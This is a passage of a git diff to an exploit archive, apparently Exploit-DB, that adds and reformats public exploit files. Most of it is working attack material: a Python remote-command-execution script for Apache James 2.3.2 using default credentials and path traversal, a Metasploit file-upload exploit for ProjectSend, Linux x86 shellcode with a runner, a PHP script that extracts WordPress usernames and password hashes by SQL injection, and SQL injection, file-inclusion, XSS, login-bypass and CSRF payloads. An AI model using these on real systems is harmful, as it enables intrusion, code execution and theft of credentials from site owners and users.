";
-
-echo $mystr; // Throw it all on the html page
-?>
-
-# milw0rm.com [2009-01-25]
+"; // Uses the default login to auth (Admin:Admin), could use a dictionary instead.
+
+// Just some stuff to keep the user busy, aka Rickroll
+$mystr="Unbelivable movie
";
+
+echo $mystr; // Throw it all on the html page
+?>
+
+# milw0rm.com [2009-01-25]
diff --git a/platforms/linux/remote/35513.py b/platforms/linux/remote/35513.py
new file mode 100755
index 000000000..c8e449dbb
--- /dev/null
+++ b/platforms/linux/remote/35513.py
@@ -0,0 +1,74 @@
+#!/usr/bin/python
+#
+# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
+# Date: 16\10\2014
+# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
+# Vendor Homepage: http://james.apache.org/server/
+# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
+# Version: Apache James Server 2.3.2
+# Tested on: Ubuntu, Debian
+# Info: This exploit works on default installation of Apache James Server 2.3.2
+# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
+
+import socket
+import sys
+import time
+
+# specify payload
+#payload = 'touch /tmp/proof.txt' # to exploit on any user
+payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
+# credentials to James Remote Administration Tool (Default - root/root)
+user = 'root'
+pwd = 'root'
+
+if len(sys.argv) != 2:
+ sys.stderr.write("[-]Usage: python %s \n" % sys.argv[0])
+ sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
+ sys.exit(1)
+
+ip = sys.argv[1]
+
+def recv(s):
+ s.recv(1024)
+ time.sleep(0.2)
+
+try:
+ print "[+]Connecting to James Remote Administration Tool..."
+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.connect((ip,4555))
+ s.recv(1024)
+ s.send(user + "\n")
+ s.recv(1024)
+ s.send(pwd + "\n")
+ s.recv(1024)
+ print "[+]Creating user..."
+ s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
+ s.recv(1024)
+ s.send("quit\n")
+ s.close()
+
+ print "[+]Connecting to James SMTP server..."
+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.connect((ip,25))
+ s.send("ehlo team@team.pl\r\n")
+ recv(s)
+ print "[+]Sending payload..."
+ s.send("mail from: <'@team.pl>\r\n")
+ recv(s)
+ # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
+ s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
+ recv(s)
+ s.send("data\r\n")
+ recv(s)
+ s.send("From: team@team.pl\r\n")
+ s.send("\r\n")
+ s.send("'\n")
+ s.send(payload + "\n")
+ s.send("\r\n.\r\n")
+ recv(s)
+ s.send("quit\r\n")
+ recv(s)
+ s.close()
+ print "[+]Done! Payload will be executed once somebody logs in."
+except:
+ print "Connection failed."
\ No newline at end of file
diff --git a/platforms/linux/remote/404.pl b/platforms/linux/remote/404.pl
index c8e353ecb..ae90b33bb 100755
--- a/platforms/linux/remote/404.pl
+++ b/platforms/linux/remote/404.pl
@@ -43,6 +43,6 @@ print $_;
}
print " ";
-close $remote;
-
-# milw0rm.com [2004-08-19]
+close $remote;
+
+# milw0rm.com [2004-08-19]
diff --git a/platforms/linux/shellcode/35519.txt b/platforms/linux/shellcode/35519.txt
new file mode 100755
index 000000000..e29cf5f3d
--- /dev/null
+++ b/platforms/linux/shellcode/35519.txt
@@ -0,0 +1,37 @@
+/*
+
+Title: Linux x86 rmdir - 37 bytes
+Author: kw4
+useful for testing purposes
+
+
+ 08048060 <_start>:
+ 8048060: 31 c0 xor %eax,%eax
+ 8048062: 50 push %eax
+ 8048063: 68 6f 6c 68 6f push $0x6f686c6f
+ 8048068: 68 68 6f 6c 68 push $0x686c6f68
+ 804806d: 68 2f 68 6f 6c push $0x6c6f682f
+ 8048072: 68 2f 74 6d 70 push $0x706d742f
+ 8048077: 89 e3 mov %esp,%ebx
+ 8048079: b0 28 mov $0x28,%al
+ 804807b: cd 80 int $0x80
+ 804807d: 31 c0 xor %eax,%eax
+ 804807f: 89 c3 mov %eax,%ebx
+ 8048081: b0 01 mov $0x1,%al
+ 8048083: cd 80 int $0x80
+
+*/
+
+#include
+#include
+
+unsigned char code[] = \
+
+"\x31\xc0\x50\x68\x6f\x6c\x68\x6f\x68\x68\x6f\x6c\x68\x68\x2f\x68\x6f\x6c\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x28\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd\x80";
+
+main() {
+
+ printf("Shellcode Length: %d\n", strlen(code));
+ int (*ret)() = (int(*)())code;
+ ret();
+}
diff --git a/platforms/multiple/remote/19118.txt b/platforms/multiple/remote/19118.txt
new file mode 100755
index 000000000..ce01860fa
--- /dev/null
+++ b/platforms/multiple/remote/19118.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/149/info
+
+Microsoft IIS and other NT webservers contain a vulnerability that allows remote users to obtain the source code for an ASP file. When one appends ::$DATA to an asp being requested, the ASP source will be returned, instead of executing the ASP. For example: http://xyz/myasp.asp::$DATA will return the source of myasp.asp, instead of executing it.
+
+The following proof of concept was provided:
+
+http://xyz/myasp.asp::$DATA
+
+This will cause IIS to disclose the contents of the page, myasp.asp, to an attacker.
\ No newline at end of file
diff --git a/platforms/php/remote/35660.rb b/platforms/php/remote/35660.rb
new file mode 100755
index 000000000..311a6db50
--- /dev/null
+++ b/platforms/php/remote/35660.rb
@@ -0,0 +1,166 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::FileDropper
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'ProjectSend Arbitrary File Upload',
+ 'Description' => %q{
+ This module exploits a file upload vulnerability in ProjectSend
+ revisions 100 to 561. The 'process-upload.php' file allows
+ unauthenticated users to upload PHP files resulting in remote
+ code execution as the web server user.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Fady Mohammed Osman', # Discovery and Exploit
+ 'Brendan Coles ' # Metasploit
+ ],
+ 'References' =>
+ [
+ ['EDB', '35424']
+ ],
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00"
+ },
+ 'Arch' => ARCH_PHP,
+ 'Platform' => 'php',
+ 'Targets' =>
+ [
+ # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
+ ['ProjectSend (PHP Payload)', {}]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Dec 02 2014',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
+ ], self.class)
+ end
+
+ #
+ # Checks if target upload functionality is working
+ #
+ def check
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri.path, 'process-upload.php')
+ )
+ if !res
+ vprint_error("#{peer} - Connection timed out")
+ return Exploit::CheckCode::Unknown
+ elsif res.code.to_i == 404
+ vprint_error("#{peer} - No process-upload.php found")
+ return Exploit::CheckCode::Safe
+ elsif res.code.to_i == 500
+ vprint_error("#{peer} - Unable to write file")
+ return Exploit::CheckCode::Safe
+ elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
+ vprint_error("#{peer} - File process-upload.php is not executable")
+ return Exploit::CheckCode::Safe
+ elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
+ vprint_error("#{peer} - Software is misconfigured")
+ return Exploit::CheckCode::Safe
+ elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
+ # response on revision 118 onwards includes the file name
+ if res.body && res.body =~ /NewFileName/
+ return Exploit::CheckCode::Vulnerable
+ # response on revisions 100 to 117 does not include the file name
+ elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
+ return Exploit::CheckCode::Appears
+ elsif res.body && res.body =~ /Failed to open output stream/
+ vprint_error("#{peer} - Upload folder is not writable")
+ return Exploit::CheckCode::Safe
+ else
+ return Exploit::CheckCode::Detected
+ end
+ else
+ return Exploit::CheckCode::Safe
+ end
+ end
+
+ #
+ # Upload PHP payload
+ #
+ def upload
+ fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
+ php = ""
+ data = Rex::MIME::Message.new
+ data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
+ post_data = data.to_s
+ print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => post_data
+ )
+ if !res
+ fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
+ elsif res.code.to_i == 404
+ fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
+ elsif res.code.to_i == 500
+ fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
+ elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
+ fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
+ elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
+ fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
+ elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
+ fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
+ # response on revision 118 onwards includes the file name
+ elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
+ print_good("#{peer} - Payload uploaded successfully (#{fname})")
+ return fname
+ # response on revisions 100 to 117 does not include the file name
+ elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
+ print_warning("#{peer} - File upload may have failed")
+ return fname
+ else
+ vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
+ fail_with(Failure::Unknown, "#{peer} - Something went wrong")
+ end
+ end
+
+ #
+ # Execute uploaded file
+ #
+ def exec(upload_path)
+ print_status("#{peer} - Executing #{upload_path}...")
+ res = send_request_raw(
+ { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
+ )
+ if !res
+ print_status("#{peer} - Request timed out while executing")
+ elsif res.code.to_i == 404
+ vprint_error("#{peer} - Not found: #{upload_path}")
+ elsif res.code.to_i == 200
+ vprint_good("#{peer} - Executed #{upload_path}")
+ else
+ print_error("#{peer} - Unexpected reply")
+ end
+ end
+
+ #
+ # upload && execute
+ #
+ def exploit
+ fname = upload
+ register_files_for_cleanup(fname)
+ exec("upload/files/#{fname}") # default for r-221 onwards
+ unless session_created?
+ exec("upload/temp/#{fname}") # default for r-100 to r-219
+ end
+ end
+end
\ No newline at end of file
diff --git a/platforms/php/webapps/35584.txt b/platforms/php/webapps/35584.txt
new file mode 100755
index 000000000..56c1431e8
--- /dev/null
+++ b/platforms/php/webapps/35584.txt
@@ -0,0 +1,52 @@
+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+ INDEPENDENT SECURITY RESEARCHER
+ PENETRATION TESTING SECURITY
+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+
+# Exploit Title: GQ File Manager - Sql Injection - Cross Site Scripting Vulnerability's
+# Date: 19/12/2014
+# Url Vendor: http://installatron.com/phpfilemanager
+# Vendor Name: GQ File Manager
+# Version: 0.2.5
+# CVE: CVE-2014-1137
+# Author: TaurusOmar
+# Tiwtter: @TaurusOmar_
+# Email: taurusomar13@gmail.com
+# Home: overhat.blogspot.com
+# Tested On: Bugtraq Optimus
+# Risk: High
+
+Description
+GQ File Manager is a lightweight file manager that enables files to be uploaded to and downloaded from a server directory. GQ File Manager is great for creating and maintaining a simple cloud-based repository of files that can be accessed from anywhere on the Internet.
+
+------------------------
++ CROSS SITE SCRIPTING +
+------------------------
+# Exploiting Description - Created new file example:("xss.html")in the document insert code xss
+
+Input:
+">
+Output:
+
+Warning: fread() [function.fread]: Length parameter must be greater than 0 in /home/u138790842/public_html/gp/incl/edit.inc.php on line 44
+">
+
+#P0c
+">
+
+#Proof Concept
+http://i.imgur.com/cjIvR5l.jpg
+
+
+------------------------
++ Sql Injection +
+------------------------
+# Exploiting Description - The Sql Injection in path created a new file.
+
+#P0c
+http://site.com/GQFileManager/index.php?&&output=create&create=[sql]
+
+#Proof Concept
+http://i.imgur.com/IJZoDVt.jpg
+
diff --git a/platforms/php/webapps/35591.txt b/platforms/php/webapps/35591.txt
new file mode 100755
index 000000000..a35ecaff6
--- /dev/null
+++ b/platforms/php/webapps/35591.txt
@@ -0,0 +1,69 @@
+##################################################################################################
+#Exploit Title : phpMyRecipes 1.2.2 SQL injection(page browse.php, parameter category)
+#Author : Manish Kishan Tanwar
+#Download Link : http://prdownloads.sourceforge.net/php-myrecipes/phpMyRecipes-1.2.2.tar.gz?download
+#Date : 23/12/2014
+#Discovered at : IndiShell Lab
+# Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
+# email : manish.1046@gmail.com
+##################################################################################################
+
+////////////////////////
+/// Overview:
+////////////////////////
+
+
+phpMyRecipes is a simple application for storing and retrieving recipes.
+It uses a web-based interface, for ease of use across any system, and a MySQL database backend for storing the recipes.
+///////////////////////////////
+// Vulnerability Description:
+///////////////////////////////
+vulnerability is due to parameter category in browse.php
+parameter category is passing to function GetCategoryNameByID without data filtering and due to it, SQL injection vulnerability is arising.
+
+from line 38 to 56
+
+ $category = $_GET['category'];
+ }
+
+ $session = getsession();
+
+ c_header("Browse Recipes", "browse");
+
+ # Build a category string
+ $cat = $category;
+ $catstr = "";
+ while ($cat != 1) {
+ if ($catstr == "") {
+ $catstr = "" . GetCategoryNameByID($cat) . "" . $catstr;
+ } else {
+ $catstr = "" . GetCategoryNameByID($cat) . " > " . $catstr;
+ }
+
+ $cat = GetCategoryParentByID($cat);
+ }
+
+
+////////////////
+/// POC ////
+///////////////
+
+POC image=http://oi57.tinypic.com/inv3ol.jpg
+ payload for extracting database name
+ set value of category parameter to 1 and add error based SQL injection payload to url
+
+http://127.0.0.1/pr/browse.php?category=1 and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
+
+
+ --==[[ Greetz To ]]==--
+############################################################################################
+#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
+#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
+#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
+#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das
+#############################################################################################
+ --==[[Love to]]==--
+# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
+#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
+ --==[[ Special Fuck goes to ]]==--
+ <3 suriya Cyber Tyson <3
diff --git a/platforms/php/webapps/35626.txt b/platforms/php/webapps/35626.txt
new file mode 100755
index 000000000..5613f11b2
--- /dev/null
+++ b/platforms/php/webapps/35626.txt
@@ -0,0 +1,13 @@
+Exploit Title: Easy File Sharing Webserver =>6.8 Persistent XSS
+Date: 12/26/14
+Exploit Author: SickPsycko
+Vendor Homepage: http://www.sharing-file.com/
+Version:6.8
+Tested on: Windows 7 32bit
+
+The exploit is within the username field.
+So to exploit this vulnerability, One must place the payload into the
+specified field when registering.
+
+http://i.imgur.com/bibu81C.png
+Once logged in. User will be greeted with such.
diff --git a/platforms/php/webapps/35653.txt b/platforms/php/webapps/35653.txt
new file mode 100755
index 000000000..4d2618199
--- /dev/null
+++ b/platforms/php/webapps/35653.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/47552/info
+
+Nuke Evolution Xtreme is prone to a local file-include vulnerability and an SQL-injection vulnerability.
+
+An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process.
+
+The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Nuke Evolution Xtreme 2.0 is vulnerable; other versions may also be affected.
+
+
+http://www.example.com/[path]/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5--
+http://www.example.com/[path]/modules.php?name=News&file=../../../../../../../../../../etc/passwd%00
+http://www.example.com/[path]/modules.php?name=Private_Messages&file=../../../../../../../../../../etc/passwd%00
\ No newline at end of file
diff --git a/platforms/php/webapps/35655.txt b/platforms/php/webapps/35655.txt
new file mode 100755
index 000000000..ce32d849f
--- /dev/null
+++ b/platforms/php/webapps/35655.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47569/info
+
+TemaTres is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+TemaTres 1.3 is vulnerable; prior versions may also be affected.
+
+http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss]
\ No newline at end of file
diff --git a/platforms/php/webapps/35657.php b/platforms/php/webapps/35657.php
new file mode 100755
index 000000000..89450f4c4
--- /dev/null
+++ b/platforms/php/webapps/35657.php
@@ -0,0 +1,67 @@
+source: http://www.securityfocus.com/bid/47574/info
+
+The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Sermon Browser 0.43 is vulnerable; other versions may also be affected.
+
+alert(0)
+# FPD : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
+
+ -==[ Start ]==-
+
+");
+
+$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
+
+function text2hex($string) {
+ $hex = '';
+ $len = strlen($string) ;
+ for ($i = 0; $i < $len; $i++) {
+ $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
+ }
+ return $hex;
+}
+
+foreach($t as $r=>$y){
+
+$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
+
+preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
+
+echo $u = ($dz[1][0]) ? "[-] $r : ".$dz[1][0]."\n" : "[-] $r : Failed !\n";
+
+}
+
+print_r("
+ -==[ Finished ]==-
+");
+
+# By Lagripe-Dz .. !
+# END .. !
+
+?>
diff --git a/platforms/php/webapps/35658.txt b/platforms/php/webapps/35658.txt
new file mode 100755
index 000000000..a90700b6c
--- /dev/null
+++ b/platforms/php/webapps/35658.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47576/info
+
+html-edit CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+html-edit CMS 3.1.9 is vulnerable; other versions may also be affected.
+
+http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS]
\ No newline at end of file
diff --git a/platforms/php/webapps/35659.txt b/platforms/php/webapps/35659.txt
new file mode 100755
index 000000000..c4bccd796
--- /dev/null
+++ b/platforms/php/webapps/35659.txt
@@ -0,0 +1,19 @@
+# Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
+# Date: 29-12-2014
+# Exploit Author: Halil Dalabasmaz
+# Version: v1.5
+# Vendor Homepage:
+http://codecanyon.net/item/social-microblogging-pro/9217005
+# Tested on: Chrome & Iceweasel
+
+# Vulnerability Description:
+
+===Stored XSS===
+"Web Site" input is not secure at Profile section. You can run XSS payloads
+on "Web Site" input.
+
+Sample Payload for Stored XSS: http://example.com/">[xssPayload]
+
+=Solution=
+Filter the input field against to XSS attacks.
+================
diff --git a/platforms/php/webapps/3862.txt b/platforms/php/webapps/3862.txt
index 1f5ee7995..48436e84b 100755
--- a/platforms/php/webapps/3862.txt
+++ b/platforms/php/webapps/3862.txt
@@ -1,16 +1,16 @@
-=================================================
-+
-+ Xoops wfquotes module v1.0 0 Remote Blind SQL Injection
-+
-=================================================
-+
-+ Bulan: Cyber-Ssecurity
-+
-=================================================
-+
-+ Exploit:
-+ /modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
-+
-=================================================
-
-# milw0rm.com [2007-05-06]
+=================================================
++
++ Xoops wfquotes module v1.0 0 Remote Blind SQL Injection
++
+=================================================
++
++ Bulan: Cyber-Ssecurity
++
+=================================================
++
++ Exploit:
++ /modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
++
+=================================================
+
+# milw0rm.com [2007-05-06]
diff --git a/platforms/php/webapps/7333.txt b/platforms/php/webapps/7333.txt
index 96162eb93..5f7e3e370 100755
--- a/platforms/php/webapps/7333.txt
+++ b/platforms/php/webapps/7333.txt
@@ -1,55 +1,55 @@
- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- + +
- + Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability +
- + +
- + Discovered by b3hz4d +
- + +
- + WwW.DeltaHacking.Net +
- + +
- + +
- + +
- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-
-
- APA Center of Yazd University
- (https://www.ircert.cc)
-
-
-AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
-DATE : 03 Dec 2008
-SITE : WwW.DeltaHacking.Net
-CONTACT: behzad_sh_66@yahoo.com
-
-#####################################################
-
-APPLICATION : Web Based Contact Management
-DOWNLOAD(199$): http://www.aliensoftcorp.com/contactmanager.htm
-VENDOR : http://www.aliensoftcorp.com/
-DEMO : http://www.aliensoftcorp.com/contactmanager.htm
-
-#####################################################
-
-
-[+] vuln :
-
- Admin login page
-
- All versions (SOHO Version, Standard Version, Enterprise Version) are vulnerable.
-
- All Demo links are here:
-
- http://www.aliensoftcorp.com/contactmanager.htm
-
-[+] Exploit :
- USER: anything
-
- PASS: delta' or 'a'='a
-
-
-##########################################################################################################
-
-# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #
-
-##########################################################################################################
-
-# milw0rm.com [2008-12-03]
+ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ + +
+ + Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability +
+ + +
+ + Discovered by b3hz4d +
+ + +
+ + WwW.DeltaHacking.Net +
+ + +
+ + +
+ + +
+ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+ APA Center of Yazd University
+ (https://www.ircert.cc)
+
+
+AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
+DATE : 03 Dec 2008
+SITE : WwW.DeltaHacking.Net
+CONTACT: behzad_sh_66@yahoo.com
+
+#####################################################
+
+APPLICATION : Web Based Contact Management
+DOWNLOAD(199$): http://www.aliensoftcorp.com/contactmanager.htm
+VENDOR : http://www.aliensoftcorp.com/
+DEMO : http://www.aliensoftcorp.com/contactmanager.htm
+
+#####################################################
+
+
+[+] vuln :
+
+ Admin login page
+
+ All versions (SOHO Version, Standard Version, Enterprise Version) are vulnerable.
+
+ All Demo links are here:
+
+ http://www.aliensoftcorp.com/contactmanager.htm
+
+[+] Exploit :
+ USER: anything
+
+ PASS: delta' or 'a'='a
+
+
+##########################################################################################################
+
+# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #
+
+##########################################################################################################
+
+# milw0rm.com [2008-12-03]
diff --git a/platforms/php/webapps/7557.txt b/platforms/php/webapps/7557.txt
index 02de545c4..60a657289 100755
--- a/platforms/php/webapps/7557.txt
+++ b/platforms/php/webapps/7557.txt
@@ -1,40 +1,40 @@
-PHPmotion <= 2.1 CSRF vulnerability
-
-Author: Ausome1
-Email: Ausorme1@gmail.com
-Website: http://www.enigmagroup.org
-Description: Change a member's password and/or email.
----------------------------------------------------------------------------------------------------
-
-
-Social engineer a PHPMotion member to come to your web page with the following hidden iframe on
-there, which pulls in the evil script from pwned.html. This will change the victim's password and email,
-using their credentials.
-
-We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In
-the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used
-to submit the form on page load.
-
-Hidden iframe code:
-
-
-
-
-Source of pwned.html file:
-
-
-
-
-
-
-
-
-Once your victim has visited your evil page, You may now be able to log into their PHPMotion account,
-using password "password123" and their email will be "NotYourEmail@anymore.com".
-
-# milw0rm.com [2008-12-23]
+PHPmotion <= 2.1 CSRF vulnerability
+
+Author: Ausome1
+Email: Ausorme1@gmail.com
+Website: http://www.enigmagroup.org
+Description: Change a member's password and/or email.
+---------------------------------------------------------------------------------------------------
+
+
+Social engineer a PHPMotion member to come to your web page with the following hidden iframe on
+there, which pulls in the evil script from pwned.html. This will change the victim's password and email,
+using their credentials.
+
+We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In
+the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used
+to submit the form on page load.
+
+Hidden iframe code:
+
+
+
+
+Source of pwned.html file:
+
+
+
+
+
+
+
+
+Once your victim has visited your evil page, You may now be able to log into their PHPMotion account,
+using password "password123" and their email will be "NotYourEmail@anymore.com".
+
+# milw0rm.com [2008-12-23]
diff --git a/platforms/windows/dos/1276.html b/platforms/windows/dos/1276.html
index cef4e4de4..9c9625edc 100755
--- a/platforms/windows/dos/1276.html
+++ b/platforms/windows/dos/1276.html
@@ -1,61 +1,61 @@
-
-
-
-